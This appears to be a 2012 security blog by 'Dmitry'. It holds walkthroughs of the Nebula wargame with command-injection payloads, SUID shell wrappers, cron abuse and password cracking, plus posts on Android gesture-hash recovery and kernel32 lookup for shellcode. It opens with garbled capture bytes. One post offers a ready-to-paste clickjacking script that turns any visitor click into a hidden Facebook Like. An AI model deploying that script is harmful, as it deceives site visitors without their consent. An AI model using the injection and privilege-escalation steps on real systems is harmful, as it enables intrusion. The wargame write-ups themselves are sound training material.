Lf&N
lLf&Nf
lLf&N
Lf&N`
eLf&N
eLf&N
Lf&Ny
vLf&N#
vLf&N
;&Lf&Nu
;&eLf&N
eLf&Ne
We see that the client is trying to log in to some system called wwwbugs. The authentication is done in plaintext. This is usual in telnet connections. You could pull more information out of the packet capture by using 'Analyze->Decode as...' in wireshark, but you can also go ahead and examine the TCP stream directly, since the password is sent out in plaintext:

 The unprintable 7f characters represent ASCII DEL, which is sent when the client presses delete. Thus we need to emulate the client to emulate what the client typed in order to get the password, which probably also belongs to flag08 itself:
backd00Rmate
Let's try that...
level08@nebula:~$ su flag08
Password:
sh-4.2$ id
uid=991(flag08) gid=991(flag08) groups=991(flag08)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Success :)

~ Dmitry

Saturday, August 11, 2012

nebula level07

The level description states that this is flag07's first perl script. It's an interface to the "ping" command. The source code is as follows:
It's used as a CGI script. Looking at flag07's home directory, we can see the http daemon config:
level07@nebula:~$ ls -l /home/flag07
total 8
-rwxr-xr-x 1 root root  368 Nov 20  2011 index.cgi
-rw-r--r-- 1 root root 3719 Nov 20  2011 thttpd.conf
level07@nebula:~$ cat /home/flag07/thttpd.conf
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.
port=7007

# Specifies a directory to chdir() to at startup. This is merely a convenience -
# you could just as easily do a cd in the shell script that invokes the program.
dir=/home/flag07

# Do a chroot() at initialization time, restricting file access to the program's
# current directory. If chroot is the compiled-in default (not the case on
# Debian), then nochroot disables it. See thttpd(8) for details.
nochroot
#chroot

# Specifies a directory to chdir() to after chrooting. If you're not chrooting,
# you might as well do a single chdir() with the dir option. If you are
# chrooting, this lets you put the web files in a subdirectory of the chroot
# tree, instead of in the top level mixed in with the chroot files.
#data_dir=

# Don't do explicit symbolic link checking. Normally, thttpd explicitly expands
# any symbolic links in filenames, to check that the resulting path stays within
# the original document tree. If you want to turn off this check and save some
# CPU time, you can use the nosymlinks option, however this is not
# recommended. Note, though, that if you are using the chroot option, the
# symlink checking is unnecessary and is turned off, so the safe way to save
# those CPU cycles is to use chroot.
#symlinks
#nosymlinks

# Do el-cheapo virtual hosting. If vhost is the compiled-in default (not the
# case on Debian), then novhost disables it. See thttpd(8) for details.
#vhost
#novhost

# Use a global passwd file. This means that every file in the entire document
# tree is protected by the single .htpasswd file at the top of the tree.
# Otherwise the semantics of the .htpasswd file are the same. If this option is
# set but there is no .htpasswd file in the top-level directory, then thttpd
# proceeds as if the option was not set - first looking for a local .htpasswd
# file, and if that doesn't exist either then serving the file without any
# password. If globalpasswd is the compiled-in default (not the case on Debian),
# then noglobalpasswd disables it.
#globalpasswd
#noglobalpasswd

# Specifies what user to switch to after initialization when started as root.
user=flag07

# Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or
# "/cgi-bin/*". See thttpd(8) for details.
cgipat=**.cgi

# Specifies a file of throttle settings. See thttpd(8) for details.
#throttles=/etc/thttpd/throttle.conf

# Specifies a hostname to bind to, for multihoming. The default is to bind to
# all hostnames supported on the local machine. See thttpd(8) for details.
#host=

# Specifies a file for logging. If no logfile option is specified, thttpd logs
# via syslog(). If logfile=/dev/null is specified, thttpd doesn't log at all.
#logfile=/var/log/thttpd.log

# Specifies a file to write the process-id to. If no file is specified, no
# process-id is written. You can use this file to send signals to thttpd. See
# thttpd(8) for details.
#pidfile=

# Specifies the character set to use with text MIME types.
#charset=iso-8859-1

# Specifies a P3P server privacy header to be returned with all responses. See
# http://www.w3.org/P3P/ for details. Thttpd doesn't do anything at all with the
# string except put it in the P3P: response header.
#p3p=

# Specifies the number of seconds to be used in a "Cache-Control: max-age"
# header to be returned with all responses. An equivalent "Expires" header is
# also generated. The default is no Cache-Control or Expires headers, which is
# just fine for most sites.
#max_age=
Notice that thttpd is configured to listen to port 7007. You can start experimenting with it right away by going to http://nebula:7007/index.cgi?Host=google.com

The vulnerability is clearly, once again, code injection. All we need to do is inject commands through the Host parameter. Like the other challenges, we want a shell, so let's compile a wrapper then make it SUID:
level07@nebula:~$ cat > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
level07@nebula:~$ make /tmp/shell
cc     /tmp/shell.c   -o /tmp/shell
Now we only need to make it SUID for flag07. We can inject the command to do so by setting the Host parameter to "; cp /tmp/shell /tmp/flag07_sh; chmod +s /tmp/flag07_sh". We need to be careful to URL encode it first.
level07@nebula:~$ php -r 'echo "Host=" . urlencode("; cp /tmp/shell /tmp/flag07_sh; chmod +s /tmp/flag07_sh");' > lethal_data
level07@nebula:~$ wget -q -O - --post-file=lethal_data 'localhost:7007/index.cgi'
Ping results

level07@nebula:~$ /tmp/flag07_sh
sh-4.2$ getflag
You have successfully executed getflag on a target account
flags++ :)

~ Dmitry

Wednesday, August 8, 2012

nebula level06

Here we are, ready to pwn another level. As usual, we read the level details first: http://exploit-exercises.com/nebula/level06.
The flag06 account credentials came from a legacy unix system.
This probably means that the password hash is stored in the /etc/passwd file (as opposed to /etc/shadow, only readable by root). This is also where it used to be stored in the old days (before ~1988, see http://en.wikipedia.org/wiki/Shadow_password#History).
 Let's verify that.
level06@nebula:~$ grep flag06 /etc/passwd
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
Turns out our assumptions were correct. Let's pass the /etc/passwd file to John The Ripper (a famous serial killer password cracker). If you don't have access to john you can also install it in the VM directly (login as nebula/nebula and run "sudo apt-get install john"). Let's run john:
level06@nebula:~$ john /etc/passwd
Created directory: /home/level06/.john
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
hello            (flag06)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 9412  trying: 12345 - biteme
Use the "--show" option to display all of the cracked passwords reliably
Almost instantly, john pops out the password corresponding to flag06's hash ("hello")! We use our newly acquired knowledge to log in as flag06 and actually get the flag:
level06@nebula:~$ su flag06 -c getflag
Password:
You have successfully executed getflag on a target account
That was quick. Keep this up and you'll become a digital dragon slayer in no time :)

~ Dmitry

nebula level05

The level details (at http://exploit-exercises.com/nebula/level05) say:
Check the flag05 home directory. You are looking for weak directory permissions
Next we check the aforementioned directory:
level05@nebula:~$ ls -la /home/flag05
total 36
drwxr-x---  5 flag05 level05 4096 2012-08-08 01:59 .
drwxr-xr-x 43 root   root    4096 2011-11-20 20:21 ..
drwxr-xr-x  2 flag05 flag05  4096 2011-11-20 20:13 .backup
-rw-------  1 flag05 flag05    20 2012-08-08 01:59 .bash_history
-rw-r--r--  1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r--  1 flag05 flag05  3353 2011-05-18 02:54 .bashrc
drwx------  2 flag05 flag05  4096 2012-08-08 01:59 .cache
-rw-r--r--  1 flag05 flag05   675 2011-05-18 02:54 .profile
drwx------  2 flag05 flag05  4096 2011-11-20 20:13 .ssh
We notice the .ssh directory, which indicates that flag05 uses ssh, and the .backup directory, which we can examine:
level05@nebula:~$ ls -la /home/flag05/.backup
total 12
drwxr-xr-x 2 flag05 flag05  4096 2011-11-20 20:13 .
drwxr-x--- 5 flag05 level05 4096 2012-08-08 01:59 ..
-rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz
Let's copy that backup tarball over and check it out.
level05@nebula:~$ cp /home/flag05/.backup/backup-19072011.tgz .
level05@nebula:~$ tar xvf backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
Whoa... It just dropped it's ssh private key (.ssh/id_rsa) in our home directory. And the presence of .ssh/id_rsa.pub indicates that it is (or used to be) in flag05's home directory as well. If it still is and corresponds to the same private key, we might be able to log in through ssh without a password. This is known as password-less login, and it's useful in some cases. The security is compromised if your id_rsa get's stolen and it doesn't require a passphrase though. Let's try to ssh as flag05, hopefully it won't require a passphrase:
level05@nebula:~$ ssh flag05@nebula

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Wed Aug  8 01:59:32 2012 from localhost
flag05@nebula:~$
We're in! Time for another flag...
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account
Nice and easy (given the right knowledge :)

~ Dmitry

nebula level04

Our objective this time is a bit different. As stated in http://exploit-exercises.com/nebula/level04, instead of directly impersonating flag04, our task is to get a token. The source code for /home/flag04/flag04 is given below.

After analyzing it, we conclude that the program is opening the file specified in the first argument, reading it's contents, and writing them to the standard output (1 is the file descriptor for the standard output, or stdout, else defined as STDOUT_FILENO).
In the /home/flag04 directory we notice that there's a file named token:
level04@nebula:~$ ls -l /home/flag04
total 12
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw------- 1 flag04 flag04    37 2011-11-20 21:52 token
Could we use flag04 to print out the contents of token? As it turns out, flag04 will not allow us to dump the contents of files containing "token" in their name.
This challenge requires us to know about symlinks (short for Symbolic Links). Symlinks are linux's equivalent of shortcuts. We can create a symlink using ln, and the resulting file will be effectively the same as the original file. You can learn more about symlinks in wikipedia or in ln's man page ("man ln").

Getting the token

Easily enough, we create a symlink for "token" with a different name, and run flag04 on it.
level04@nebula:~$ ln -s /home/flag04/token t
level04@nebula:~$ /home/flag04/flag04 t
06508b5e-8909-4f38-b630-fdb148a848a2
There's our token. As it turns out the token is also the password for user flag04.
So let's get that flag :)
level04@nebula:~$ su flag04 -c getflag
Password:
You have successfully executed getflag on a target account

~ Dmitry

nebula level03

According to the level details in http://exploit-exercises.com/nebula/level03 there is a crontab called every couple of minutes (for/as user flag03). Let's check flag03's home directory:
level03@nebula:~$ ls -l /home/flag03
total 8
drwxrwxrwx 2 flag03 flag03 4096 2012-08-08 00:21 writable.d
-rwxr-xr-x 1 flag03 flag03   98 2011-11-20 21:22 writable.sh
writable.d seems to be world-writable (everyone can write to it, just like /tmp).
writable.sh must be the script called by cron. Let's see what it does:
level03@nebula:~$ cat /home/flag03/writable.sh
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done
Apparently writable.sh executes every executable file residing in writable.d with a 5 second cpu time limit, and then deletes it. We can't do a lot ourselves with a 5 second time limit. We want a shell. So our strategy will be the following:
Make a script to be called by writable.sh (which is itself called by cron and executed as user flag03) which will drop a SUID shell for us in tmp. Then we'll be free to use the shell in /tmp whenever we need it, for as long as we want.

The shell

For the shell we'll just make a simple C program which calls setresuid and then executes bash:
level03@nebula:~$ cat > /tmp/level03_sh.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();
    setresuid(euid, euid, euid);
    system("/bin/sh");
    return 0;
}
level03@nebula:~$ make /tmp/level03_sh
cc     /tmp/level03_sh.c   -o /tmp/level03_sh

The script

First we make the script which will drop our shell and put it in writable.d:
level03@nebula:~$ cat > /home/flag03/writable.d/execme
#!/bin/sh
cp /tmp/level03_sh /tmp/flag03_sh
chmod +s /tmp/flag03_sh
level03@nebula:~$ chmod +x /home/flag03/writable.d/execme
Then we wait for it to be called:
level03@nebula:~$ chmod +x /home/flag03/writable.d/execme
level03@nebula:~$ sleep 180; /tmp/flag03_sh
sh-4.2$ id
uid=996(flag03) gid=1004(level03) groups=996(flag03),1004(level03)
In no longer than 3 minutes we have a shell. Now get that flag :D
sh-4.2$ getflag
You have successfully executed getflag on a target account

~ Dmitry

Tuesday, August 7, 2012

nebula level02

level02 might look harder than level01 although the similar construct. Indeed, level02 uses an absolute path, eliminating the previous vulnerability:

Analyzing the source code, we can see that apart from setting all UIDs the same as EUID, level02 calls asprintf in order to dynamically build formatted data. More accurately, the format is "/bin/echo %s is cool". asprintf replaces "%s" with $USER from the environment variable.
The formatted data (held in buffer) is then passed as the argument to system().
Normally $USER holds the name of the currently logged in user, as one would expect. But we can set it to anything we want, therefore level02 is vulnerable to command injection.

Injecting commands into the vulnerable buffer

To specify another command to execute, we use ";" to separate the commands. Since we want a shell with the UIDs of flag02, as usual, we specify the next command to be sh. After that we can see from the format string that we are left with " is cool", which comes after our command. We want to ignore it, because it interferes with the command we want to inject, so we use "#" after our command, which means that everything that comes next is part of a comment and should not be considered by the shell.

Getting the flag

level02@nebula:~$ export USER='; sh #'
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo ; sh # is cool")

sh-4.2$ id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
sh-4.2$ getflag
You have successfully executed getflag on a target account
And with that we have our third flag! :)

~ Dmitry

nebula level01

As usual, we log in as level01/level01 on the nebula VM and go to http://exploit-exercises.com/nebula/level01 for getting the level details. Apparently there is a vulnerable binary in /home/flag01 with the following source code:


Let's check /home/flag01:
level01@nebula:~$ ls -l /home/flag01
total 8
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
SUID binary, that must be it. Analyzing the source code, we see that the program is very straightforward. It Sets the Real, Effective and Saved UIDs the same as the Effective UID (you can look up what these do). This is so that the SUID process is now effectively running as if called by the owner (flag01).
After this, the program executes "/usr/bin/env echo and now what?". That looks kind of normal... So where's the vulnerability?
Well, as it turns out, when you invoke a program without specifying it's absolute path, linux will look for it in the $PATH environment variable. But $PATH is controlled by us, so what stops us from specifying our own path with a malicious 'echo' program in it? Nothing. Let's go ahead and do just that. Our malicious 'echo' will be simple: it will just launch a shell. Since it's called by user flag01, we will have the same privileges.
level01@nebula:~$ echo '/bin/sh' > /tmp/echo
level01@nebula:~$ chmod +x /tmp/echo
level01@nebula:~$ export PATH=/tmp:$PATH
level01@nebula:~$ /home/flag01/flag01
sh-4.2$ id
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Yay, another flag for us! :)

If you were wondering, /usr/bin/env is specified so that the shell treats echo as an actual program, not as the built-in command. If there were no built-in command, you could omit /usr/bin/env

Stay tuned!

~ Dmitry

exploit-exercises walkthrough, nebula level00

exploit-exercises.com has some very cool wargame VMs, on which you can solve security related challenges. In this and the following blog posts, I'm going to walk you through solving all of the challenges, starting with nebula, protostar, and finally fusion.

I'm going to use VMware for running the provided VMs, but if you're comfortable with other virtualization software feel free to use them.
We start by downloading the nebula VM from http://exploit-exercises.com/download.
 VMware might give you a warning regarding some OVA format specifics, just hit "Retry" and you're good to go.

Instead of playing the wargames directly VMware, I like to ssh to the VM from the host. The ssh daemon is already set up on the VM, so you can freely use ssh, but you might want to add the VMs ip to the hosts file, so that you don't have to remember it. Log in as user nebula (password nebula) and get the ip using ifconfig as below:


Then you can add the ip to your hosts file and ssh to the VM.
(If you are using Windows as the host OS, you might want to use PuTTY as your SSH client).

$ echo "192.168.1.59 nebula" >> /etc/hosts
$ ssh level00@nebula
The authenticity of host 'nebula (192.168.1.59)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'nebula,192.168.1.59' (ECDSA) to the list of known hosts.

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


level00@nebula's password:
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Aug  7 05:53:19 2012
level00@nebula:~$

Now that you are logged in, let's take a look at the level details: http://exploit-exercises.com/nebula/level00.
 The level requires you to find a SUID binary owned by flag00. Your goal is to impersonate user flag00. An SUID binary is basically a program that when ran, sets the effective UID (EUID) of the process to the owner UID of the binary, as opposed to the user executing the program. This is done for a variety of reasons and you can read more about it in UNIX books or on wikipedia. Generally it represents a security issue if the binary is vulnerable to some attack.

Looking manually for the binary would be tedious. Let's use "find" to find it for us. We want to scan the whole file system, so we will start searching from "/". If you're not familiar with "find", it's a good idea read (or skim through) the man page ("man find"). The binary is owned by user flag00, so we specify "-user flag00", and it has to have the SUID bit set, so we specify the permissions as "-perm -u=s". "2> /dev/null" is for ignoring errors.

level00@nebula:~$ find / -user flag00 -perm -u=s 2> /dev/null
/bin/.../flag00
Easy enough, now let's run it.
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account
w00t! We solved it! :)

~ Dmitry

Wednesday, August 1, 2012

Google PageRank checksum algorithm

The Google PageRank functionality in Google Toolbar works by querying Google's server for information on the PageRank of a specific page. This might seem easy enough to implement in your own program/website, but the problem is that the toolbar calculates a checksum on the page URL before querying the server, and the server only responds if the checksum is correct. Fortunately the checksum algorithm was reverse engineered from Google Toolbar 7. I was provided the hand decompiled version of the algorithm in C from a friend. Then I went ahead and rewrote it in PHP for web development usage. You can find both versions below.

As an example, the query URL for the page 'http://en.wikipedia.org/wiki/Cypherpunk' is http://toolbarqueries.google.com/tbr?client=navclient-auto&features=Rank&q=info:http://en.wikipedia.org/wiki/Cypherpunk&ch=783735859783

Any other query with a checksum other than 783735859783 will result in a '403 forbidden' response.
Enjoy.

C Version (original): PHP Version:

~ Dmitry

Cracking Android gesture patterns

On Android devices, the gesture lock pattern is stored in the /data/system/gesture.key file in a rather insecure  format. The file consists of the SHA-1 hash of the gesture pattern - unsalted! Since the gesture pattern space is relatively small, it is feasible to create a rainbow table with all the possible patterns and the corresponding hashes. In fact such rainbow tables already exist. To retrieve the gesture lock pattern, once you have acquired the gesture.key file (through the JTAG hardware interface or through adb), you can look the hash up in the rainbow table:

$ wget 'http://www.android-forensics.com/tools/AndroidGestureSHA1.rar'
$ unrar AndroidGestureSHA1.rar
$ grep `xxd -p gesture.key` AndroidGestureSHA1.rar
56742391;04 05 06 03 01 02 08 00;4895B0FDC65F7802D165140BF1A77B982BD98779 

There it is, '56742391'. As was demonstrated, the gesture lock pattern is very easy to recover, and you shouldn't rely on it for security!

~ Dmitry

Getting more likes on your Facebook page

Ever wondered how you could boost the number of likes you get on your Facebook page? If you have a website, you can embed a simple script in order to turn every click - ANY click - into a Facebook like for your page.

The underlying mechanism works as follows:
You create an iframe containing the Facebook 'like' button, and you make it follow the visitor's mouse. The catch here is that the iframe is invisible - so the visitor will not know when he clicked like. This method is very effective and I've seen Facebook likes skyrocket in practice, in just a matter of days. The script is shown below - customize the Facebook page name and the number of seconds the 'like' button should remain active, and you're good to go. To implement the functionality in your site, just copy the script between the <head> ... </head> tags. Enjoy.
<script type="text/javascript">
(function(){
 var pageURL = 'http://www.facebook.com/YourPageHere';
 var likeTimeout = 10000; // milliseconds
 
 var x, y, usingIE;
 
 x = y = 0;
 usingIE = document.all ? true : false;
 if(!usingIE)
  document.captureEvents(Event.MOUSEMOVE);
  
 var like = document.createElement('iframe');
 like.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(pageURL) + '&layout=standard&show_faces=true&width=53&action=like&colorscheme=light&height=80';
 like.scrolling = 'no';
 like.frameBorder = 0;
 like.allowTransparency = 'true';
 like.style.border = 0;
 like.style.overflow = 'hidden';
 like.style.cursor = 'pointer';
 like.style.width = '53px';
 like.style.height = '23px';
 like.style.position = 'absolute';
 like.style.opacity = 0;
 document.getElementsByTagName('body')[0].appendChild(like);
 
 window.addEventListener('mousemove', mouseMove, false);

 setTimeout(function(){
  document.getElementsByTagName('body')[0].removeChild(like);
  window.removeEventListener('mousemove', mouseMove, false);
 }, likeTimeout);

 function mouseMove(e)
 {
  if(usingIE) {
   x = event.clientX + document.body.scrollLeft;
   y = event.clientY + document.body.scrollTop;
  } else {
   x = e.pageX;
   y = e.pageY;
  }

  if(x < 0) x = 0;
  if(y < 0) y = 0;

  like.style.top = (y - 20) + 'px';
  like.style.left = (x - 40) + 'px';
  
  return true;
 }
})();
</script>

~ Dmitry

Tuesday, July 31, 2012

Retrieving the kernel32.dll base address

More often than not, when writing shellcode for Windows or otherwise dealing with Windows internals, you need to retrieve the kernel32.dll base address. When GetModuleHandle is not available (i.e. you don't know/can't retrieve it's address), a very common way to retrieve the kernel32.dll base address is to use the structures provided in the Thread and Process contexts.

At any time in the execution of a process, the TEB (Thread Environment Block), is pointed to by the FS segment register. Using WinDBG and a sample process (calc.exe), let's take a look at what resides in the TEB:

0:000> dt _TEB
ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x01c EnvironmentPointer : Ptr32 Void
   +0x020 ClientId         : _CLIENT_ID
   +0x028 ActiveRpcHandle  : Ptr32 Void
   +0x02c ThreadLocalStoragePointer : Ptr32 Void
   +0x030 ProcessEnvironmentBlock : Ptr32 _PEB
   +0x034 LastErrorValue   : Uint4B
   +0x038 CountOfOwnedCriticalSections : Uint4B
   ...

The point of interest here is the ProcessEnvironmentBlock entry, because that's the structure that holds loader information. The PEB looks like this:

0:000> dt _PEB
ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsLegacyProcess  : Pos 2, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 3, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 4, 1 Bit
   +0x003 SpareBits        : Pos 5, 3 Bits
   +0x004 Mutant           : Ptr32 Void
   +0x008 ImageBaseAddress : Ptr32 Void
   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
   +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : Ptr32 Void
   +0x018 ProcessHeap      : Ptr32 Void
   ...

Next we look at Ldr:

0:000> dt _PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
   +0x000 Length           : Uint4B
   +0x004 Initialized      : UChar
   +0x008 SsHandle         : Ptr32 Void
   +0x00c InLoadOrderModuleList : _LIST_ENTRY
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY
   +0x024 EntryInProgress  : Ptr32 Void
   +0x028 ShutdownInProgress : UChar
   +0x02c ShutdownThreadId : Ptr32 Void

The module lists named InLoadOrderModuleList, InMemoryOrderModuleList, and InInitializationOrderModuleList hold information about the modules utilized by the process. The type however is not _LIST_ENTRY, but _LDR_DATA_TABLE_ENTRY (you can check this on MSDN).
Let's see how _LDR_DATA_TABLE_ENTRY is defined:

0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY
   +0x008 InMemoryOrderLinks : _LIST_ENTRY
   +0x010 InInitializationOrderLinks : _LIST_ENTRY
   +0x018 DllBase          : Ptr32 Void
   +0x01c EntryPoint       : Ptr32 Void
   +0x020 SizeOfImage      : Uint4B
   +0x024 FullDllName      : _UNICODE_STRING
   +0x02c BaseDllName      : _UNICODE_STRING
   +0x034 Flags            : Uint4B
   +0x038 LoadCount        : Uint2B
   +0x03a TlsIndex         : Uint2B
   +0x03c HashLinks        : _LIST_ENTRY
   +0x03c SectionPointer   : Ptr32 Void
   +0x040 CheckSum         : Uint4B
   +0x044 TimeDateStamp    : Uint4B
   +0x044 LoadedImports    : Ptr32 Void
   +0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
   +0x04c PatchInformation : Ptr32 Void
   +0x050 ForwarderLinks   : _LIST_ENTRY
   +0x058 ServiceTagLinks  : _LIST_ENTRY
   +0x060 StaticLinks      : _LIST_ENTRY
   +0x068 ContextInformation : Ptr32 Void
   +0x06c OriginalBase     : Uint4B
   +0x070 LoadTime         : _LARGE_INTEGER

We seek the DllBase entry value for the kernel32.dll module. As it happens, kernel32.dll is always the third module in the InMemoryOrderModuleList (if it wasn't we could still walk all the list and find it by the FullDllName or BaseDllName entry). Let's actually examine the concrete structures in memory. Our starting point will be the TEB, as discussed:

0:000> dt _TEB @$teb
ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x01c EnvironmentPointer : (null) 
   +0x020 ClientId         : _CLIENT_ID
   +0x028 ActiveRpcHandle  : (null) 
   +0x02c ThreadLocalStoragePointer : 0x7efdd02c Void
   +0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB
   +0x034 LastErrorValue   : 0
   ...

0:000> dt _PEB 0x7efde000
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 BitField         : 0x8 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsLegacyProcess  : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 SpareBits        : 0y000
   +0x004 Mutant           : 0xffffffff Void
   +0x008 ImageBaseAddress : 0x00550000 Void
   +0x00c Ldr              : 0x77ba0200 _PEB_LDR_DATA
   +0x010 ProcessParameters : 0x00341678 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : (null) 
   +0x018 ProcessHeap      : 0x00340000 Void
   ...

0:000> dt _PEB_LDR_DATA 0x77ba0200
ntdll!_PEB_LDR_DATA
   +0x000 Length           : 0x30
   +0x004 Initialized      : 0x1 ''
   +0x008 SsHandle         : (null) 
   +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x692f10 - 0x696108 ]
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x692f18 - 0x696110 ]
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x692fb0 - 0x696118 ]
   +0x024 EntryInProgress  : (null) 
   +0x028 ShutdownInProgress : 0 ''
   +0x02c ShutdownThreadId : (null) 

0:000> dt _LDR_DATA_TABLE_ENTRY 0x342f18-8
ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x342fa0 - 0x77ba020c ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x342fa8 - 0x77ba0214 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x018 DllBase          : 0x00550000 Void
   +0x01c EntryPoint       : 0x00562d6c Void
   +0x020 SizeOfImage      : 0xc0000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\SysWOW64\calc.exe"
   +0x02c BaseDllName      : _UNICODE_STRING "calc.exe"
   +0x034 Flags            : 0x4000
   +0x038 LoadCount        : 0xffff
   +0x03a TlsIndex         : 0
   +0x03c HashLinks        : _LIST_ENTRY [ 0x344044 - 0x77ba48e8 ]
   +0x03c SectionPointer   : 0x00344044 Void
   +0x040 CheckSum         : 0x77ba48e8
   +0x044 TimeDateStamp    : 0x4ce7979d
   +0x044 LoadedImports    : 0x4ce7979d Void
   +0x048 EntryPointActivationContext : (null) 
   +0x04c PatchInformation : (null) 
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x342f60 - 0x342f60 ]
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x342f68 - 0x342f68 ]
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x346320 - 0x345038 ]
   +0x068 ContextInformation : 0x77adc960 Void
   +0x06c OriginalBase     : 0
   +0x070 LoadTime         : _LARGE_INTEGER 0x0

0:000> dt _LDR_DATA_TABLE_ENTRY 0x342fa8-8
ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x343320 - 0x342f10 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x343328 - 0x342f18 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x343448 - 0x77ba021c ]
   +0x018 DllBase          : 0x77aa0000 Void
   +0x01c EntryPoint       : (null) 
   +0x020 SizeOfImage      : 0x180000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\SysWOW64\ntdll.dll"
   +0x02c BaseDllName      : _UNICODE_STRING "ntdll.dll"
   +0x034 Flags            : 0x4004
   +0x038 LoadCount        : 0xffff
   +0x03a TlsIndex         : 0
   +0x03c HashLinks        : _LIST_ENTRY [ 0x77ba48c0 - 0x77ba48c0 ]
   +0x03c SectionPointer   : 0x77ba48c0 Void
   +0x040 CheckSum         : 0x77ba48c0
   +0x044 TimeDateStamp    : 0x4ec49b8f
   +0x044 LoadedImports    : 0x4ec49b8f Void
   +0x048 EntryPointActivationContext : (null) 
   +0x04c PatchInformation : (null) 
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x342ff0 - 0x342ff0 ]
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x342ff8 - 0x342ff8 ]
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x343000 - 0x343000 ]
   +0x068 ContextInformation : (null) 
   +0x06c OriginalBase     : 0x7de70000
